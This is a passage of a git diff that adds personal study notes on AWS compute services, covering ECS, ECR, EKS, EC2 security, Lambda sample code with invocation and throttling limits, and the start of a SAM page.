2020-05-06 at 20.40.15](https://i.imgur.com/VHbtuiM.png) + +![Screen Shot 2020-05-06 at 20.40.36](https://i.imgur.com/RLZmFWo.png) + +![Screen Shot 2020-12-29 at 22.46.12](https://i.imgur.com/6nWyh8f.png) + + +--- + +## basic + +- Use API calls to run container-enabled applications + + +--- + + +## Benefits + +1. orchestration the execution of Docker Containers + - highly scalable, high-performance container orchestration service + - supports Docker and win containers. + - no additional charge for ECS. + - pay for AWS resources (e.g. EC2 instances or EBS volumes) you create to store and run your application. + + +2. remove the complexity of standing up the infrastructure + - Using API calls + - to launch and stop container-enabled applications, + - query the complete state of clusters, + - access many familiar features like security groups, LB, EBS volumes and IAM roles. + + - can use any AMI that meets the Amazon ECS AMI specification. + + - highly scalable + - only need to scale out the service need to + - instead of the entire application + - Fault Tolerant + - single error in one container will not bring down the entire application + - easy maintain + - easier to maintain, update nad change than large monolithic applications. + + + +1. Maintains and scales the fleet of nodes that run your Containers + + + - easily run applications on a managed cluster of EC2 instances. + - eliminates the install, operate, and scale of own cluster management infrastructure + - more fine-grained control for customer application architectures. + + - use Elastic Beanstalk + - to handle the provisioning of an Amazon ECS cluster, balancing load, auto-scaling, monitoring, and placing your containers across your cluster. + + - schedule the placement of containers across clusters based on resource needs and availability requirements. + + - can associate a service on ECS to an Application Load Balancer (ALB) for the Elastic Load Balancing (ELB) service. + - The ALB supports a target group that contains a set of instance ports. + - can specify a dynamic port in the ECS task definition, gives the container an unused port when it is scheduled on the EC2 instance. + + + +- ECS provides Blox + - a collection of open source projects for container management and orchestration. + - Blox makes it easy to consume events from ECS, store the cluster state locally and query the local data store through APIs. + + +--- + +## ECS VS EKS +- the `Elastic Container Service for Kubernetes (Amazon EKS)` + - to deploy, manage, and scale containerized applications using Kubernetes on AWS. + +![Pasted Graphic](https://i.imgur.com/R2kWxKb.jpg) + + +--- + + +## ECS LAUNCH TYPES + +![Screen Shot 2020-12-29 at 22.56.38](https://i.imgur.com/vEeCWT3.png) + +determines the type of infrastructure on which your tasks and services are hosted. + +**do you want to manage the ecs cluster that run the container** +- clusters of virtual Machines +- no: Serverless Fargate Launch Type +- yes: EC2 Launch Type + +pic + +--- + +### Fargate Launch Type +- a serverless infrastructure managed by AWS. +- run containerized applications without the provision and manage the backend infrastructure +- Just register task definition, Fargate launches the container for you. +- Container Registry + - Elastic Container Registry (ECR) or Docker Hub +- pic + +--- + +### EC2 Launch Type +- run containerized applications on EC2 instances you manage. +- if you want to control the installation, configurationa nd managemnet of your compute environment +- Container Registry + - Elastic Container Registry (ECR) or Docker Hub + - Self-hosted Private repositories , only supported by the EC2 Launch Type. +- pic + +![Amazon-ECS-EC2-vs-Fargate-1024x583](https://i.imgur.com/6gsSsaF.jpg) + +--- + +### ECS Clusters +- a logical grouping of container instances to place tasks on. +- A default cluster is created but you can then create multiple clusters to separate resources. +- ECS allows the definition of a specified number (desired count) of tasks to run in the cluster. + +- Clusters can contain tasks using the Fargate and EC2 launch type. + +- For clusters with the EC2 launch type + - clusters can contain different container instance types. + +- Each container instance may only be part of one cluster at a time. +- “Services” provide auto-scaling functions for ECS. +- Clusters are region specific. +- create IAM policies for clusters to allow or restrict users’ access to specific clusters. + + +--- + + + +## IMAGES +- Containers are created from a read-only template called an image which has the instructions for creating a Docker container. +- Images are built from a Dockerfile. + - Only Docker containers are currently supported. +- An image contains the instructions for creating a Docker container. +- Images are stored in a registry such as + - DockerHub + - AWS Elastic Container Registry (ECR). + - private Docker repositories + - ECR supports private Docker repositories with resource-based permissions using AWS IAM in order to access repositories and images. +- Developers can use the Docker CLI to push, pull and manage images. + + + +### Amazon Elastic Container Registry (Amazon ECR) + +![Pasted Graphic 11](https://i.imgur.com/eQ2T1jI.jpg) + +- a fully managed AWS Docker container registry +- secure, scalable and reliable. + - easy for developers to store, manage, and deploy Docker container images. + - eliminates the need to operate your own container repositories or scaling the underlying infrastructure. + +- store, run, manage, retrieve and deploy container images for applications that run on Amazon ECS. + - integrated with Amazon ECS + - no additional charge for Amazon ECS. + - no upfront fees or commitments. + - pay for AWS resources (e.g. EC2 instances or EBS volumes) you create to store and run your application. + - pay only for the amount of data stored in your repositories and data transferred to the Internet. + +- Specify the Amazon ECR repository in task definition, and Amazon ECS will retrieve the appropriate images for your applications. +- Amazon ECR supports Docker Registry HTTP API version2 + - which enables you to interact with Amazon ECR by using Docker CLI commands or your preferred Docker tools. +- you can maintain your existing development workflow and access Amazon ECR from any Docker environment—whether it is in the cloud, onpremises, or on your local machine. +- You can transfer your container images to and from Amazon ECS via HTTPS. +- Your images are automatically encrypted at rest using Amazon S3 server-side encryption. + + +--- + + +## TASKS +- A task is a single running copy of any containers defined by a task definition + +- A task definition is required to run Docker containers in Amazon ECS. + - a JSON file + - Task definitions use Docker images to launch containers. + - specify the number of tasks to run (i.e. the number of containers), up to a maximum of 10. + +- Some of the parameters can specify in a task definition include: + - Which Docker images to use with the containers in your task. + - How much CPU and memory to use with each container. + - Whether containers are linked together in a task. + - The Docker networking mode to use for the containers in your task. + - What (if any) ports from the container are mapped to the host container instances. + - Whether the task should continue if the container finished or fails. + - The commands the container should run when it is started. + - Environment variables that should be passed to the container when it starts. + - Data volumes that should be used with the containers in the task. + - IAM role the task should use for permissions. + +- You can use Amazon ECS Run task to run one or more tasks once. + + +--- + + +--- + +## SERVICE SCHEDULER +- schedule ECS using Service Scheduler and Custom Scheduler. +- Ensures that the specified number of tasks are constantly running and reschedules tasks when a task fails. +- Can ensure tasks are registered against an ELB. + +--- + + +## CUSTOM SCHEDULER +- create your own schedulers to meet business needs. +- Leverage third party schedulers such as Blox. +- The Amazon ECS schedulers leverage the same cluster state information provided by the Amazon ECS API to make appropriate placement decisions. + + +--- + +## ECS CONTAINER AGENT +- The ECS container agent allows container instances to connect to the cluster. +- The container agent runs on each infrastructure resource on an ECS cluster. +- The ECS container agent is included in the Amazon ECS optimized AMI and can also be installed on any EC2 instance that supports the ECS specification (only supported on EC2 instances). +- Linux and Windows based. +- For non-AWS Linux instances to be used on AWS you must manually install the ECS container agent. + + +--- + +## ECS AUTO SCALING + +Service Auto Scaling +- ECS service can optionally be configured to use Service Auto Scaling + - to adjust the desired task count up or down automatically. +- Service Auto Scaling leverages the Application Auto Scaling service to provide this functionality. + - supports the following types of scaling policies: + - Target Tracking Scaling Policies + - Increase or decrease the number of tasks that service runs based on a target value for a specific CloudWatch metric + - similar to the way that your thermostat maintains the temperature of your home. + - You select temperature and the thermostat does the rest. + - Step Scaling Policies + - Increase or decrease the number of tasks that your service runs in response to CloudWatch alarms. + - Step scaling is based on a set of scaling adjustments, known as step adjustments, which vary based on the size of the alarm breach. + + +Cluster Auto Scaling +- new feature released in December 2019. +- Uses a new ECS resource type called a Capacity Provider. +- A Capacity Provider can be associated with an EC2 Auto Scaling Group (ASG). +- When you associate an ECS Capacity Provider with an ASG and add the Capacity Provider to an ECS cluster, the cluster can now scale your ASG automatically by using two new features of ECS: + - Managed scaling, with an automatically-created scaling policy on your ASG, and a new scaling metric (Capacity Provider Reservation) that the scaling policy uses; and + - Managed instance termination protection, which enables container-aware termination of instances in the ASG when scale-in happens. +- Prefer to learn by doing? Watch the AWS Hands-On Labs video tutorial below to learn how to create an Amazon ECS cluster and a task running WordPress. We’ll show you how to do this using a combination of the AWS ECS CLI and the console. + + +--- + +## Security/SLA +- EC2 instances use an IAM role to access ECS. +- IAM can be used to control access at the container level using IAM roles. +- The container agent makes calls to the ECS API on your behalf through the applied IAM roles and policies. +- You need to apply IAM roles to container instances before they are launched (EC2 launch type). +- AWS recommend limiting the permissions that are assigned to the container instance’s IAM roles. +- Assign extra permissions to tasks through separate IAM roles (IAM Roles for Tasks). +- ECS tasks use an IAM role to access services and resources. +- Security groups attach at the instance or container level. +- You have root level access to the operating system of the EC2 instances. +- The Compute SLA guarantees a Monthly Uptime Percentage of at least 99.99% for Amazon ECS. + + +--- + + +## LIMITS + +Soft limits (default): +- Clusters per region = 1000. +- Instances per cluster = 1000. +- Services per cluster = 500. + +Hard limits: +- One load balancer per service. +- 1000 tasks per service (the “desired” count). +- Max 10 containers per task definition. +- Max 10 tasks per instance (host). + + +--- + +## PRICING +EC2 Launch Type: +- No additional charge +- pay for the EC2 resources you launch including instances, EBS volumes and load balancers + + +Fargate: +- You pay for the vCPU and memory allocated to the containers you run. + + + + +--- + + +![Screen Shot 2020-12-29 at 23.00.49](https://i.imgur.com/UHbexEe.png) + + + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/compute/container/2020-07-16-AWS-EKS.md b/_posts/01Cloud/01AWS/compute/container/2020-07-16-AWS-EKS.md new file mode 100644 index 00000000000..6df41bfe8f8 --- /dev/null +++ b/_posts/01Cloud/01AWS/compute/container/2020-07-16-AWS-EKS.md @@ -0,0 +1,97 @@ +--- +title: AWS - Amazon EKS +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, Compute] +tags: [AWS, VMs, Docker] +math: true +image: +--- + +- [AWS - Amazon Elastic Kubernetes Service EKS](#aws---amazon-elastic-kubernetes-service-eks) + - [basic](#basic) + +--- + + +# AWS - Amazon Elastic Kubernetes Service EKS + +--- + +## basic + +- a managed **Kubernetes service** + + +- makes it easy to run Kubernetes on AWS and on-premises without install, operate, and maintain own Kubernetes control plane. + - Kubernetes is an open-source system for automating deployment, scaling, and management of containerized applications. + - certified Kubernetes conformant, existing applications run on upstream Kubernetes are compatible with Amazon EKS. + +- **automatically manages the availability and scalability of the cluster nodes** that are responsible for starting and stopping containers, scheduling containers on virtual machines, storing cluster data, and other tasks. + +- automatically detects and replaces unhealthy control plane nodes for each cluster. + +- both Amazon ECS and Amazon EKS capable of orchestrating Docker containers + - provide customers with flexible options. + +- Amazon EKS lets you run your Kubernetes applications on both Amazon EC2 and AWS Fargate. + + + + + + + +![Screen Shot 2022-04-05 at 11.45.55](https://i.imgur.com/V2JjAxb.png) + + +![Screen Shot 2022-04-05 at 11.47.16](https://i.imgur.com/U1g0S3c.png) + + +![Screen Shot 2022-04-05 at 11.47.32](https://i.imgur.com/PHSnRQN.png) + +- Managed Kubernetes Clusters + + + - Managed Control Plane + - Amazon EKS provides a scalable and highly-available Kubernetes control plane running across multiple AWS Availability Zones (AZs). + - Amazon EKS automatically manages availability and scalability of Kubernetes API servers and etcd persistence layer. + - Amazon EKS runs the Kubernetes control plane across three AZs to ensure high availability, and automatically detects and replaces unhealthy control plane nodes. + + - Service Integrations + - AWS Controllers for Kubernetes (ACK) gives you direct management control over AWS services from within your Kubernetes environment. + - ACK makes it simple to build scalable and highly available Kubernetes applications utilizing AWS services. + + - Hosted Kubernetes Console + - EKS provides an integrated console for **Kubernetes clusters**. + - Cluster operators and application developers can use EKS as a single place to organize, visualize, and troubleshoot your **Kubernetes applications** running on Amazon EKS. + - The EKS console is hosted by AWS and is available automatically for all EKS clusters. + + - EKS Add-Ons + - common operational software for extending the Kubernetes operational functionality. + - use EKS to install and keep the add-on software up-to-date. + - When start an Amazon EKS cluster, select the add-ons you would like to run in the cluster, including Kubernetes tools for observability, networking, auto-scaling, and AWS service integrations. + + - Managed Node Groups + - create, update, scale, and terminate nodes for your cluster with a single command. + - These nodes can also leverage Amazon EC2 Spot Instances to reduce costs. + - Managed node groups run Amazon EC2 instances using the latest `EKS-optimized or custom Amazon Machine Images (AMIs)` in the AWS account, + - while updates and terminations gracefully drain nodes to ensure your applications remain available. + +- Deploy across hybrid environments + - Manage your Kubernetes clusters and applications in hybrid environments and run Kubernetes in your data centers. + + +- Model machine learning (ML) workflows + - Efficiently run distributed training jobs using the latest EC2 GPU-powered instances, including Inferentia, and deploy training and inferences using Kubeflow. + + +- Build and run web applications + - Create applications that automatically scale up and down and run in a highly available configuration across multiple Availability Zones (AZs) with out-of-the-box networking and security integrations. + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/compute/ec2.md b/_posts/01Cloud/01AWS/compute/ec2.md new file mode 100644 index 00000000000..2066302508d --- /dev/null +++ b/_posts/01Cloud/01AWS/compute/ec2.md @@ -0,0 +1,35 @@ + + + + + +## Security in EC2 + +1. Controlling network access to the instances, + - for example, through configuring your VPC and security groups. + +2. Managing the credentials used to connect to the instances. + +3. Managing the guest operating system and software deployed to the guest operating system, including updates and security patches. + +4. Configuring the IAM roles that are attached to the instance and the permissions associated with those roles. + + +``` +Infrastructure security +Interface VPC endpoints +Resilience +Data protection +Identity and access management +Key pairs +Security groups +Update management +Compliance validation +``` + + + + + + +. diff --git a/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-Lambda.md b/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-Lambda.md new file mode 100644 index 00000000000..f3a5198f55b --- /dev/null +++ b/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-Lambda.md @@ -0,0 +1,471 @@ +--- +title: AWS - Lambda +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, Compute] +tags: [AWS] +math: true +image: +--- + + +- [Lambda](#lambda) + - [Lambda sample](#lambda-sample) + - [basic](#basic) + - [S3 triggered, Loops and inserts data into DynamoDB tables](#s3-triggered-loops-and-inserts-data-into-dynamodb-tables) + - [function to calculate and send Simple Notification Service notification](#function-to-calculate-and-send-simple-notification-service-notification) + - [the Different Ways to Invoke Lambda Functions](#the-different-ways-to-invoke-lambda-functions) + - [Synchronous Invokes](#synchronous-invokes) + - [Asynchronous Invokes](#asynchronous-invokes) + - [Poll-Based Invokes](#poll-based-invokes) + - [Lambda’s invoke throttling limits](#lambdas-invoke-throttling-limits) + - [Concurrency](#concurrency) + - [Transactions per second (TPS)](#transactions-per-second-tps) + - [Burst](#burst) + - [solution](#solution) + +ref: +- https://serverless.kpingfan.com/01-lambda-101/05.concurrency/ + + +--- + +# Lambda + +--- + +## Lambda sample + +### basic + +```py +import json, urllib, boto3, csv + +# Connect to S3 +s3 = boto3.resource('s3') + + +# Connect to SNS +sns = boto3.client('sns') +alertTopic = 'HighBalanceAlert' + + + +# Connect to DynamoDB +dynamodb = boto3.resource('dynamodb') +customerTable = dynamodb.Table('Customer'); +transactionsTable = dynamodb.Table('Transactions'); + + + +# Connect to EC2 +ec2 = boto3.resource('ec2') +# Add a tag to the EC2 instance: Key = Snapshots, Value = Created + ec2 = boto3.client('ec2') + response = ec2.create_tags( + Resources=[ec2InstanceId], + Tags=[{'Key': 'Snapshots', 'Value': 'Created'}] + ) + print ("***Tag added to EC2 instance with id: " + ec2InstanceId) +``` + +--- + +### S3 triggered, Loops and inserts data into DynamoDB tables + +1. Examine the code. It performs the following steps: + - Downloads the file from Amazon S3 that triggered the event + - Loops through each line in the file + - Inserts the data into the Customer and Transactions DynamoDB tables + +```py +# TransactionProcessor Lambda function +# This function is triggered by an object being created in an Amazon S3 bucket. +# The file is downloaded and each line is inserted into DynamoDB tables. + +from __future__ import print_function +import json, urllib, boto3, csv + +# Connect to S3 and DynamoDB +s3 = boto3.resource('s3') +dynamodb = boto3.resource('dynamodb') + +# Connect to the DynamoDB tables +customerTable = dynamodb.Table('Customer'); +transactionsTable = dynamodb.Table('Transactions'); + +# This handler is executed every time the Lambda function is triggered +def lambda_handler(event, context): + + # Show the incoming event in the debug log + print("Event received by Lambda function: " + json.dumps(event, indent=2)) + + # Get the bucket and object key from the Event + bucket = event['Records'][0]['s3']['bucket']['name'] + key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key']).decode('utf8') + localFilename = '/tmp/transactions.txt' + + # Download the file from S3 to the local filesystem + try: + s3.meta.client.download_file(bucket, key, localFilename) + except Exception as e: + print(e) + print('Error getting object {} from bucket {}. Make sure they exist and the bucket is in the same region as this function.'.format(key, bucket)) + raise e + + # Read the Transactions CSV file. Delimiter is the '|' character + with open(localFilename) as csvfile: + reader = csv.DictReader(csvfile, delimiter='|') + + # Read each row in the file + rowCount = 0 + for row in reader: + rowCount += 1 + + # Show the row in the debug log + print(row['customer_id'], row['customer_address'], row['trn_id'], row['trn_date'], row['trn_amount']) + + try: + # Insert Customer ID and Address into Customer DynamoDB table + customerTable.put_item( + Item={ + 'CustomerId': row['customer_id'], + 'Address': row['customer_address']}) + + # Insert transaction details into Transactions DynamoDB table + transactionsTable.put_item( + Item={ + 'CustomerId': row['customer_id'], + 'TransactionId': row['trn_id'], + 'TransactionDate': row['trn_date'], + 'TransactionAmount': int(row['trn_amount'])}) + + except Exception as e: + print(e) + print("Unable to insert data into DynamoDB table".format(e)) + + # Finished! + return "%d transactions inserted" % rowCount +``` + + + +--- + +### function to calculate and send Simple Notification Service notification + + +```py +# TotalNotifier Lambda function +# +# This function is triggered when values are inserted into the Transactions DynamoDB table. +# Transaction totals are calculated and notifications are sent to SNS if limits are exceeded. + +from __future__ import print_function +import json, boto3 + +# Connect to SNS +sns = boto3.client('sns') +alertTopic = 'HighBalanceAlert' +snsTopicArn = [t['TopicArn'] for t in sns.list_topics()['Topics'] if t['TopicArn'].endswith(':' + alertTopic)][0] + +# Connect to DynamoDB +dynamodb = boto3.resource('dynamodb') +transactionTotalTableName = 'TransactionTotal' +transactionsTotalTable = dynamodb.Table(transactionTotalTableName); + +# This handler is executed every time the Lambda function is triggered +def lambda_handler(event, context): + + # Show the incoming event in the debug log + print("Event received by Lambda function: " + json.dumps(event, indent=2)) + + # For each transaction added, calculate the new Transactions Total + for record in event['Records']: + customerId = record['dynamodb']['NewImage']['CustomerId']['S'] + transactionAmount = int(record['dynamodb']['NewImage']['TransactionAmount']['N']) + + # Update the customer's total in the TransactionTotal DynamoDB table + response = transactionsTotalTable.update_item( + Key={ + 'CustomerId': customerId + }, + UpdateExpression="add accountBalance :val", + ExpressionAttributeValues={ + ':val': transactionAmount + }, + ReturnValues="UPDATED_NEW" + ) + + # Retrieve the latest account balance + latestAccountBalance = response['Attributes']['accountBalance'] + print("Latest account balance: " + format(latestAccountBalance)) + + # If balance > $1500, send a message to SNS + if latestAccountBalance >= 1500: + + # Construct message to be sent + message = '{"customerID": "' + customerId + '", ' + '"accountBalance": "' + str(latestAccountBalance) + '"}' + print(message) + + # Send message to SNS + sns.publish( + TopicArn=snsTopicArn, + Message=message, + Subject='Warning! Account balance is very high', + MessageStructure='raw' + ) + + # Finished! + return 'Successfully processed {} records.'.format(len(event['Records'])) +``` + +--- + +## the Different Ways to Invoke Lambda Functions + +https://aws.amazon.com/blogs/architecture/understanding-the-different-ways-to-invoke-lambda-functions/ + +![Screen-Shot-2019-06-27-at-2.23.51-PM-1024x510](https://i.imgur.com/AoCgNOQ.png) + + +### Synchronous Invokes + +- the most straight forward way to invoke the Lambda functions. +- the functions execute immediately when perform the Lambda Invoke API call. +- This can be accomplished through a variety of options, including using the CLI or any of the supported SDKs. + +exampl: + +synchronous invoke using the CLI: + +```bash +aws lambda invoke \ + —function-name MyLambdaFunction \ + —invocation-type RequestResponse \ + —payload “[JSON string here]” +``` + +> The Invocation-type flag specifies a value of “RequestResponse”. +> This instructs AWS to execute the Lambda function and wait for the function to complete. + +- When perform a synchronous invoke, are responsible for checking the response and determining if there was an error and if should retry the invoke. + +list of services that invoke Lambda functions synchronously: +- Elastic Load Balancing (Application Load Balancer) +- Amazon Cognito +- Amazon Lex +- Amazon Alexa +- Amazon API Gateway +- Amazon CloudFront (Lambda@Edge) +- Amazon Kinesis Data Firehose + + + +### Asynchronous Invokes + +Here is an example of an asynchronous invoke using the CLI: + +```bash +aws lambda invoke \ + —function-name MyLambdaFunction \ + —invocation-type Event \ + —payload “[JSON string here]” +``` + +> Notice, the Invocation-type flag specifies “Event.” If the function returns an error, AWS will automatically retry the invoke twice, for a total of three invocations. + +Here is a list of services that invoke Lambda functions asynchronously: +- Amazon S3 +- Amazon SNS +- Amazon Simple Email Service +- AWS CloudFormation +- Amazon CloudWatch Logs +- Amazon CloudWatch Events +- AWS CodeCommit +- AWS Config + +- Asynchronous invokes place the invoke request in Lambda service queue and we process the requests as they arrive. should use AWS X-Ray to review how long the request spent in the service queue by checking the “dwell time” segment. + + + +### Poll-Based Invokes +- This invocation model is designed to allow to integrate with AWS Stream and Queue based services with no code or server management. +- Lambda will poll the following services on the behalf, retrieve records, and invoke the functions. + +The following are supported services: +- Amazon Kinesis +- Amazon SQS +- Amazon DynamoDB Streams + + +- AWS will manage the poller on the behalf and perform Synchronous invokes of the function with this type of integration. +- The retry behavior for this model is based on data expiration in the data source. +- For example, Kinesis Data streams store records for 24 hours by default (up to 168 hours). The specific details of each integration are linked above. + +--- + + +## Lambda’s invoke throttling limits + +When call AWS Lambda’s Invoke API, a series of throttle limits are evaluated to decide if the call is let through or throttled with a 429 “Too Many Requests” exception. + +The throttle limits exist to protect the following components of Lambda’s internal service architecture, and the workload, from noisy neighbors: + +- **Execution environment**: + - An execution environment is a Firecracker microVM where the function code runs. + - A given execution environment only hosts one invocation at a time, but it can be reused for subsequent invocations of the same function version. +- **Invoke data plane**: + - These are a series of internal web services that, on an invoke, select (or create) a sandbox and route the request to it. + - This is also responsible for enforcing the throttle limits. + + +![Screenshot 2023-07-27 at 15.34.29](/assets/img/Screenshot%202023-07-27%20at%2015.34.29.png) + +Invoke call flow: +- When make an Invoke API call, it transits through some or all of the Invoke Data Plane services, before reaching an execution environment where the function code is downloaded and executed. + +There are three distinct but related throttle limits which together decide if the invoke request is accepted by the data plane or throttled. + +--- + +### Concurrency + +> https://docs.aws.amazon.com/lambda/latest/dg/lambda-concurrency.html + + +- Concurrent means “existing, happening, or done at the same time”. + +- Accordingly, the Lambda concurrency limit is a limit on the simultaneous in-flight invocations allowed at any given time. + +- It is not a `rate` or `transactions per second (TPS)` limit in and of itself, but instead a limit on **how many invocations can be in-flight at the same time**. + +- the concurrency limit roughly translates to a limit on the maximum number of execution environments (and thus Firecracker microVMs) that the account can claim at any given point in time. + +- Lambda runs a fleet of multi-tenant bare metal instances, on which Firecracker microVMs are carved out to serve as execution environments for the functions. AWS constantly monitors and scales this fleet based on incoming demand and shares the available capacity fairly among customers. + +- The concurrency limit helps protect Lambda from a single customer exhausting all the available capacity and causing a denial of service to other customers. + + +- 当某个Lambda的并发执行数达到默认的1000后,不仅会影响自身的执行,同时会影响同一region下的其他函数,因为默认的quota是应用在一个region下所有Lambda的。 +- 例如当ALB后面的Lambda并发数超出最大限制后,挂到API Gateway下面的Lambda一起会被Throttle: + + +![Screenshot 2023-07-27 at 23.11.38](/assets/img/Screenshot%202023-07-27%20at%2023.11.38.png) + + +--- + + +### Transactions per second (TPS) + +How concurrency limit translates to TPS depends on how long the function invocations last: + +![Screenshot 2023-07-27 at 15.39.29](/assets/img/Screenshot%202023-07-27%20at%2015.39.29.png) + +The diagram above considers three cases, each with a different function invocation duration, but a fixed concurrency limit of `1000`. + +- In the first case, **invocations have a constant duration of 1 second**. + - This means can initiate 1000 invokes and claim all 1000 execution environments permitted by the concurrency limit. + - These execution environments remain busy for the entire second, and cannot start any more invokes in that second `because the concurrency limit prevents from claiming any more execution environments`. + - So, the TPS can achieve with a concurrency limit of 1000 and a function duration of 1 second is 1000 TPS. + +- In case 2, the **invocation duration is halved to 500ms**, with the same concurrency limit of 1000. + - it initiate 1000 concurrent invokes at the start of the second as before. These invokes keep the execution environments busy for the first half of the second. + - Once finished, it can start an additional 1000 invokes against the same execution environments while still being within the concurrency limit. + - So, by halving the function duration, doubled the TPS to 2000. + +- in case 3, if the **function duration is 100ms**, can initiate 10 rounds of 1000 invokes each in a second, achieving a TPS of 10K. + +- Taken to an extreme, for a **function duration of only 1ms** and at a concurrency limit of 1000 (the default limit), an account can drive an invoke TPS of one million. + +- For every additional unit of concurrency granted via a limit increase, it implicitly grants an additional 1000 TPS per unit of concurrency increased. + - The high TPS doesn’t require any additional execution environments (Firecracker microVMs), so it’s not problematic from a fleet capacity perspective. + - However, driving over a million TPS from a single account puts stress on the Invoke Data Plane services. They must be protected from noisy neighbor impact as well so all customers have a fair share of the services’ bandwidth. + - A concurrency limit alone isn’t sufficient to protect against this – the TPS limit provides this protection. + + +**Codifying this as an equation:** + +the TPS can achieve given a concurrency limit is: +- TPS = concurrency / function duration in seconds + +As of this writing, the invoke TPS is capped at 10 times the concurrency. Added to the previous equation: + +- TPS = min( 10 x concurrency, concurrency / function duration in seconds) + +The concurrency factor is common across both terms in the min function, so the key comparison is: + +- min(10, 1 / function duration in seconds) + +Limits for functions less than 100ms +- If the function duration is exactly 100ms (or 1/10th of a second), both terms in the min function are equal. +- If the function duration is over 100ms, the second term is lower and TPS is limited as per concurrency/function duration. +- If the function duration is under 100ms, the first term is lower and TPS is limited as per 10 x concurrency. + +![Screenshot 2023-07-27 at 15.48.52](/assets/img/Screenshot%202023-07-27%20at%2015.48.52.png) + +- To summarize, the TPS limit exists to protect the Invoke Data Plane from the high churn of short-lived invocations, for which the concurrency limit alone affords too high of a TPS. +- If drive short invocations of under 100ms, the throughput is capped as though the function duration is 100ms (at 10 x concurrency) as shown in the diagram above. +- This implies that short lived invocations may be TPS limited, rather than concurrency limited. +- However, if the function duration is over 100ms can effectively ignore the 10 x concurrency TPS limit and calculate the available TPS as concurrency/function duration. + +--- + +### Burst + +The third throttle limit is the burst limit. + +warm execution environment +- Lambda does not keep execution environments provisioned for the entire concurrency limit at all times. That would be wasteful, especially if usage peaks are transient, as is the case with many workloads. Instead, the service spins up execution environments just-in-time as the invoke arrives, if one doesn’t already exist. Once an execution environment is spun up, it remains “warm” for some period of time and is available to host subsequent invocations of the same function version. + +cold start +- if an invoke doesn’t find a warm execution environment, it experiences a “cold start” while we provision a new execution environment. +- Cold starts involve certain additional operations over and above the warm invoke path, such as downloading the code or container and initializing the application within the execution environment. +- These initialization operations are typically computationally heavy and so have a lower throughput compared to the warm invoke path. If there are sudden and steep spikes in the number of cold starts, it can put pressure on the invoke services that handle these cold start operations, and also cause undesirable side effects for the application such as increased latencies, reduced cache efficiency and increased fan out on downstream dependencies. +- The burst limit exists to protect against such surges of cold starts, especially for accounts that have a high concurrency limit. +- It ensures that the climb up to a high concurrency limit is gradual so as to smooth out the number of cold starts in a burst. + + +**Token Bucket rate-limiting algorithm** +- The algorithm used to enforce the burst limit +- Consider a bucket that holds tokens. + - The bucket has a maximum capacity of B tokens (burst). + - The bucket starts full. Each time send an invoke request that requires an additional unit of concurrency, it costs a token from the bucket. + - If the token exists, are granted the additional concurrency and the token is removed from the bucket. + - The bucket is refilled at a constant rate of `r tokens per minute (rate)` until it reaches its maximum capacity. + +- the rate of climb of concurrency is limited to `r tokens per minute`. + - Even though the algorithm allows to collect up to B tokens and burst, must wait for the bucket to refill before can burst again, effectively limiting the average rate to r per minute. + +![Screenshot 2023-07-27 at 15.50.34](/assets/img/Screenshot%202023-07-27%20at%2015.50.34.png) + + +![Screenshot 2023-07-27 at 15.53.39](/assets/img/Screenshot%202023-07-27%20at%2015.53.39.png) + +- The chart above shows the burst limit in action with a maximum concurrency limit of 3000, a maximum burst(B) of 1000 and a refill rate(r) of 500/minute. The token bucket starts full with 1000 tokens, as is the available burst headroom. + +- There is a burst activity between minute one and two, which consumes all tokens in the bucket and claims all 1000 concurrent execution environments allowed by the burst limit. At this point the bucket is empty and any attempt to claim additional concurrent execution environments is burst throttled, in spite of max concurrency not being reached yet. + +- The token bucket and the burst headroom are replenished at minutes two and three with 500 tokens each minute to bring it back up to its maximum capacity of 1000. At minute four, there is no additional refill because the bucket is at maximum capacity. Between minutes four and five, there is a second burst activity which empties the bucket again and claims an additional 1000 execution environments, bringing the total number of active execution environments to 2000. + +- The bucket continues to replenish at a rate of 500/minute at minutes five and six. At this point, sufficient tokens have been accumulated to cover the entire concurrency limit of 3000, and so the bucket isn’t refilled anymore even when have the third burst activity at minute seven. At minute ten, when all the usage ramps down, the available burst headroom slowly stair steps back down to the maximum initial burst of 1K. + +- The actual numbers for maximum burst and refill rate vary by Region and are subject to change, please visit the Lambda burst limits page for specific values. + +- It is important to distinguish that the burst limit isn’t a rate limit on the invoke itself, but a rate limit on how quickly concurrency can rise. However, since invoke TPS is a function of concurrency, it also clamps how quickly TPS can rise (a rate limit for a rate limit). The following chart shows how the TPS burst headroom follows a similar stair step pattern as the concurrency burst headroom, only with a multiplier. + +![Screenshot 2023-07-27 at 15.54.21](/assets/img/Screenshot%202023-07-27%20at%2015.54.21.png) + +### solution + +Reserved Concurreny + +- 创建新的Lambda: + - 在Lambda的Configuration -> Concurrency页面,进行编辑,设置Reserved concurrency: + - 为了测试Throttle效果,我们把Reserve concurrency设置成0,这样最多同时只有0个函数执行 = 无法执行,永远被throttle: + - 保存后,创建一个测试事件。再运行测试,提示invoke API Rate Exceeded: + - 将Reserve concurrency更改为20,可以看到unreserved account concurrency变为980: + - 注意Unreserved account concurrency值不能低于100: +- 总结: + - 设置Reserved Concurrency并不会带来额外的花费 + - 当某个Lambda设置了reserved concurrency后,其他函数就不能使用该concurrency了(参考上图的案例:1000-20 = 980) diff --git a/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-SAM.md b/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-SAM.md new file mode 100644 index 00000000000..2ed51290e8d --- /dev/null +++ b/_posts/01Cloud/01AWS/compute/serverless/2020-07-16-SAM.md @@ -0,0 +1,691 @@ +--- +title: AWS - Compute - SAM +date: 2020-07-16 11:11:11 -0400 +categories: [01AWS, Compute] +tags: [AWS] +toc: true +# image: +--- + +- [SAM Serverless Application Model 无服务器应用模型](#sam-serverless-application-model-无服务器应用模型) + - [AWS SAM](#aws-sam) + - [Benefits of using AWS SAM](#benefits-of-using-aws-sam) + - [SAM 模板特有资源类型](#sam-模板特有资源类型) + - [AWS::Serverless::Function](#awsserverlessfunction) + - [AWS::Serverless::Api](#awsserverlessapi) + - [AWS::Serverless::SimpleTable](#awsserverlesssimpletable) + - [SAM code](#sam-code) + - [example](#example) + - 